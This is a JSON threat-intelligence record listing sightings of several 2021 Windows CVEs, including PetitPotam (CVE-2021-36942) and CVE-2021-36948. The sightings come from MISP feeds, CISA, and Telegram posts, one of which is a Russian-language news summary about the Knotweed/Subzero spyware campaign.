{"vulnerability": "cve-2021-3694", "sightings": [{"uuid": "855355da-fc14-43a8-866c-75bf3abc9c78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36948", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "ed1e3a1d-685e-49a4-a374-cafd05a23ce6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36942", "type": "seen", "source": "MISP/b4779706-9ec4-44cb-afe8-97771711623b", "content": "", "creation_timestamp": "2021-08-23T11:49:49.000000Z"}, {"uuid": "1dc012ab-aac8-4ed6-9f6f-4229af687a8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36948", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:18.000000Z"}, {"uuid": "c80ac953-ca97-4cfb-a182-8bc2d5e42986", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36942", "type": "seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "content": "", "creation_timestamp": "2021-11-08T08:58:18.000000Z"}, {"uuid": "f6a4bdf7-9bc1-4720-9e93-14a34f453b9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36942", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2021-11-20T09:53:52.000000Z"}, {"uuid": "fda7deae-a6b6-4e25-b2cc-e3686f9a0378", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36948", "type": "seen", "source": "MISP/31444f14-211f-42e7-b9a5-50413099a216", "content": "", "creation_timestamp": "2022-08-04T14:55:30.000000Z"}, {"uuid": "f5fb786f-b041-4832-8aa7-3ca354718d30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36942", "type": "seen", "source": "MISP/63ddead6-4b82-414c-ad8e-c516b950b446", "content": "", "creation_timestamp": "2021-10-25T22:32:43.000000Z"}, {"uuid": "966dcc44-4e13-456b-bacb-e189030dc2a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36948", "type": "seen", "source": "MISP/7aacaa36-9506-40c5-8805-134aad180e94", "content": "", "creation_timestamp": "2024-11-14T06:09:33.000000Z"}, {"uuid": "26b4b114-f83a-460b-8559-120f78cfcc0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36942", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971004", "content": "", "creation_timestamp": "2024-12-24T20:22:55.667632Z"}, {"uuid": "e566f6ba-95d8-45e4-b4bc-b281bda17e8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36948", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971025", "content": "", "creation_timestamp": "2024-12-24T20:23:12.728455Z"}, {"uuid": "3fa28539-8996-4bc9-8d5f-8c09c9b68819", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36942", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "1df976ee-d4c2-4d27-a4ce-cfa4e1c6f2b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36948", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:57.000000Z"}, {"uuid": "88ee3966-4fd4-4af9-8495-febe52daa339", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36942", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:39.000000Z"}, {"uuid": "bf42f6af-045b-4c56-8267-69c1c8996aab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36942", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:09:57.000000Z"}, {"uuid": "ef8736f8-7f07-4a0c-b1d6-043d7f1274a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36942", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/dcerpc/petitpotam.rb", "content": "", "creation_timestamp": "2022-02-04T19:07:09.000000Z"}, {"uuid": "5940d3c6-5918-4903-85df-4bf14ab1c43c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-36947", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=628", "content": "", "creation_timestamp": "2021-08-11T04:00:00.000000Z"}, {"uuid": "cb445ec3-5010-4fd7-b608-f7bc9278bd33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36948", "type": "seen", "source": "MISP/ab0b745f-bbd5-338e-8b92-97dd0c757e9d", "content": "", "creation_timestamp": "2025-08-31T03:00:52.000000Z"}, {"uuid": "7b7be0a6-35ab-405e-9eb1-a86577e9bb76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-36942", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e1463297-cf69-468a-abd8-12b943e2e53e", "content": "", "creation_timestamp": "2026-02-02T12:28:53.308797Z"}, {"uuid": "06d3643f-bad1-4fc5-b6d5-533c307a14cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-36942", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=628", "content": "", "creation_timestamp": "2021-08-11T04:00:00.000000Z"}, {"uuid": "1d0f8feb-69f3-41e9-931e-3d01660d3adb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2021-36948", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=628", "content": "", "creation_timestamp": "2021-08-11T04:00:00.000000Z"}, {"uuid": "12e67665-bc80-4df7-9fdd-6fec60b35439", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36949", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/302", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1acheck if Azure AD Connect is affected by the vulnerability described in CVE-2021-36949\nURL\uff1ahttps://github.com/Maxwitat/Check-AAD-Connect-for-CVE-2021-36949-vulnerability", "creation_timestamp": "2021-08-14T21:08:49.000000Z"}, {"uuid": "25cceef9-b3aa-4f84-8ee9-2d45076710ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-36948", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/98902628-4c93-42f8-8a21-fe43dc0150e3", "content": "", "creation_timestamp": "2026-02-02T12:28:50.983865Z"}, {"uuid": "67c834d2-9bda-4306-be35-631c1d1f0493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36942", "type": "seen", "source": "https://t.me/arpsyndicate/72", "content": "#ExploitObserverAlert\n\nCVE-2021-36942\n\nDESCRIPTION: Exploit Observer has 27 entries related to CVE-2021-36942. Windows LSA Spoofing Vulnerability\n\nFIRST-EPSS: 0.886700000\nNVD-IS: 1.4\nNVD-ES: 3.9", "creation_timestamp": "2023-11-11T03:48:35.000000Z"}, {"uuid": "f741f932-ebfe-4bf7-921a-96b9ea5b04d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36948", "type": "seen", "source": "https://t.me/true_secator/3227", "content": "Microsoft \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 Knotweed \u0430\u0432\u0441\u0442\u0440\u0438\u0439\u0441\u043a\u043e\u043c\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0443 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f DSIRF, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 \u0435\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u043a\u0438\u0435 \u0438 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u043e\u0430\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0430\u0431\u043e\u0440\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e Subzero.\n\nDSIRF \u043f\u043e\u0437\u0438\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u0435\u0442\u00a0\u0441\u0435\u0431\u044f\u00a0\u043a\u0430\u043a \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0446\u0438\u044f\u043c \u0443\u0441\u043b\u0443\u0433\u0438 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0418\u0411, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u0435\u043d\u0438\u0441\u0442, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u043a\u0443 \u0438 OSINT.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0440\u0435\u0441\u0435\u0447\u0440\u0435\u0440\u044b \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u044b \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e Subzero, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0435\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043e\u0432, \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u0432, \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0438 \u0434\u0435\u0432\u0430\u0439\u0441\u043e\u0432, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0445 \u043a \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443.\n\n\u0410\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044f DNS \u043f\u0440\u0438 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0430\u0442\u0430\u043a Knotweed, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f RiskIQ \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430, \u0447\u0442\u043e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e \u0441 \u0444\u0435\u0432\u0440\u0430\u043b\u044f 2020 \u0433\u043e\u0434\u0430, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 DSIRF, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0435\u0433\u043e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442 \u0438 \u0434\u043e\u043c\u0435\u043d\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043b\u044f \u043e\u0442\u043b\u0430\u0434\u043a\u0438 \u0438 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e Subzero.\n\nMMSTIC \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0441\u0432\u044f\u0437\u0438 \u043c\u0435\u0436\u0434\u0443 DSIRF \u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u043c\u0438 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 Knotweed.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u04212, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 DSIRF \u0443\u0447\u0435\u0442\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c GitHub, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0430\u044f\u0441\u044f \u0432 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0430\u0442\u0430\u043a, \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u043a\u043e\u0434\u0430, \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0439 DSIRF, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435.\n\n\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 Knotweed \u0431\u044b\u043b\u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430 \u044e\u0440\u0438\u0434\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0444\u0438\u0440\u043c\u044b, \u0431\u0430\u043d\u043a\u0438 \u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043e\u043d\u0441\u0430\u043b\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0410\u0432\u0441\u0442\u0440\u0438\u044e, \u0412\u0435\u043b\u0438\u043a\u043e\u0431\u0440\u0438\u0442\u0430\u043d\u0438\u044e \u0438 \u041f\u0430\u043d\u0430\u043c\u0443. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0436\u0435\u0440\u0442\u0432\u044b Subzero \u0443\u0441\u043b\u0443\u0433\u0438 \u0432 DSIRF \u0435\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0435 \u0437\u0430\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438.\n\n\u041d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u043b\u0438 Corelump, \u043e\u0441\u043d\u043e\u0432\u043d\u0443\u044e \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0430\u0441\u044c \u0438\u0437 \u043f\u0430\u043c\u044f\u0442\u0438 \u0434\u043b\u044f \u0443\u0445\u043e\u0434\u0430 \u043e\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f, \u0438 Jumplump, \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438 \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u043b Corelump.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c Subzero \u0438\u043c\u0435\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044e \u043d\u0430\u0436\u0430\u0442\u0438\u0439 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u044b, \u0437\u0430\u0445\u0432\u0430\u0442 \u0441\u043d\u0438\u043c\u043a\u043e\u0432 \u044d\u043a\u0440\u0430\u043d\u0430, \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0431\u043e\u043b\u043e\u0447\u0435\u043a \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432, \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0441 \u04212.\n\n\u0412 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445 Knotweed, \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b Microsoft \u0432\u044b\u0434\u0435\u043b\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0440\u044f\u0434\u0430 0-day.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, CVE-2022-22047 \u043f\u043e\u043c\u043e\u0433\u0430\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u0432\u044b\u0439\u0442\u0438 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435. \u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443 Knotweed \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 Windows (CVE-2021-31199 \u0438 CVE-2021-31201) \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c Adobe Reader (CVE-2021-28550), \u0432\u0441\u0435 \u043e\u043d\u0438 \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0438\u044e\u043d\u0435 2021.\n\n\u0412 2021 \u0433\u043e\u0434\u0443 \u0433\u0440\u0443\u043f\u043f\u0430 \u043a\u0438\u0431\u0435\u0440\u043d\u0430\u0435\u043c\u043d\u0438\u043a\u043e\u0432 \u0442\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 Windows \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 Windows Update Medic (CVE-2021-36948), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0439 DLL.\n\nMicrosoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u044b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0449\u0438\u0442\u044f\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows \u043e\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 Knotweed \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0441\u0432\u043e\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e.\n\n\u0416\u0434\u0435\u043c \u043d\u043e\u0432\u044b\u0445 \u0440\u0430\u0437\u043e\u0431\u043b\u0430\u0447\u0435\u043d\u0438\u0439. \u041a\u0440\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u043f\u043e\u0445\u043e\u0434 \u043d\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0433\u043e \u041f\u041e \u0432 \u0442\u0440\u0435\u043d\u0434\u0435.", "creation_timestamp": "2022-07-28T12:01:02.000000Z"}, {"uuid": "4563cfab-6bdc-48a7-8001-6d21a7fa44d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-36942", "type": "exploited", "source": "https://t.me/true_secator/2950", "content": "\u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f Microsoft, \u0442\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0438\u043d\u043e\u0433\u0434\u0430 \u0432\u0441\u0435 \u0436\u0435 \u0441\u0442\u043e\u0438\u0442 \u0438 \u043f\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u0438\u0442\u044c.\u00a0\n\n\u041d\u0435 \u043f\u0440\u043e\u0448\u043b\u043e \u0438 \u043d\u0435\u0434\u0435\u043b\u0438, \u043a\u0430\u043a \u0433\u0438\u0433\u0430\u043d\u0442 \u0438\u0437 \u0420\u0435\u0434\u043c\u043e\u043d\u0434\u0430 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043c\u0430\u0439\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0430 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (CISA) 